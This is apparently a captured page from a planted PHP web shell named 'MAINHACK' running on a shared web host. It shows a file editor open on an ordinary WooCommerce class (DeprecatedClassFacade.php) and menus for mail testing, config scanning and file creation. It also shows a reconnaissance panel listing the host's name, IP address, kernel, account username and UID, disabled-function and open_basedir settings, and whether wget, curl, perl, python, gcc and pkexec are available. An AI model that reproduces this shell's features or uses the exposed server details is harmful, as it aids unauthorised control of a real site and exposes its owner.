[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DeprecatedClassFacade.php
<?php /** * A facade to allow deprecating an entire class. Calling instance or static * functions on the facade triggers a deprecation notice before calling the * underlying function. * * Use it by extending DeprecatedClassFacade in your facade class, setting the * static $facade_over_classname string to the name of the class to build * a facade over, and setting the static $deprecated_in_version to the version * that the class was deprecated in. Eg.: * * class DeprecatedGoose extends DeprecatedClassFacade { * static $facade_over_classname = 'Goose'; * static $deprecated_in_version = '1.7.0'; * } */ namespace Automattic\WooCommerce\Admin; defined( 'ABSPATH' ) || exit; // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped /** * A facade to allow deprecating an entire class. */ class DeprecatedClassFacade { /** * The instance that this facade covers over. * * @var object */ protected $instance; /** * The name of the non-deprecated class that this facade covers. * * @var string */ protected static $facade_over_classname = ''; /** * The version that this class was deprecated in. * * @var string */ protected static $deprecated_in_version = ''; /** * Static array of logged messages. * * @var array */ private static $logged_messages = array(); /** * Constructor. */ public function __construct() { if ( '' !== static::$facade_over_classname ) { $this->instance = new static::$facade_over_classname(); } } /** * Log a deprecation to the error log. * * @param string $function The name of the deprecated function being called. */ private static function log_deprecation( $function ) { $message = sprintf( '%1$s is deprecated since version %2$s! Use %3$s instead.', static::class . '::' . $function, static::$deprecated_in_version, static::$facade_over_classname . '::' . $function ); if ( '' !== static::$facade_over_classname ) { $message = $message . sprintf( ' Use %s instead.', static::$facade_over_classname . '::' . $function ); } // Only log when the message has not been logged before. if ( ! in_array( $message, self::$logged_messages, true ) ) { error_log( $message ); // phpcs:ignore self::$logged_messages[] = $message; } } /** * Executes when calling any function on an instance of this class. * * @param string $name The name of the function being called. * @param array $arguments An array of the arguments to the function call. */ public function __call( $name, $arguments ) { self::log_deprecation( $name ); if ( ! isset( $this->instance ) ) { return; } return call_user_func_array( array( $this->instance, $name, ), $arguments ); } /** * Executes when calling any static function on this class. * * @param string $name The name of the function being called. * @param array $arguments An array of the arguments to the function call. */ public static function __callStatic( $name, $arguments ) { self::log_deprecation( $name ); if ( '' === static::$facade_over_classname ) { return; } return call_user_func_array( array( static::$facade_over_classname, $name, ), $arguments ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.24 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252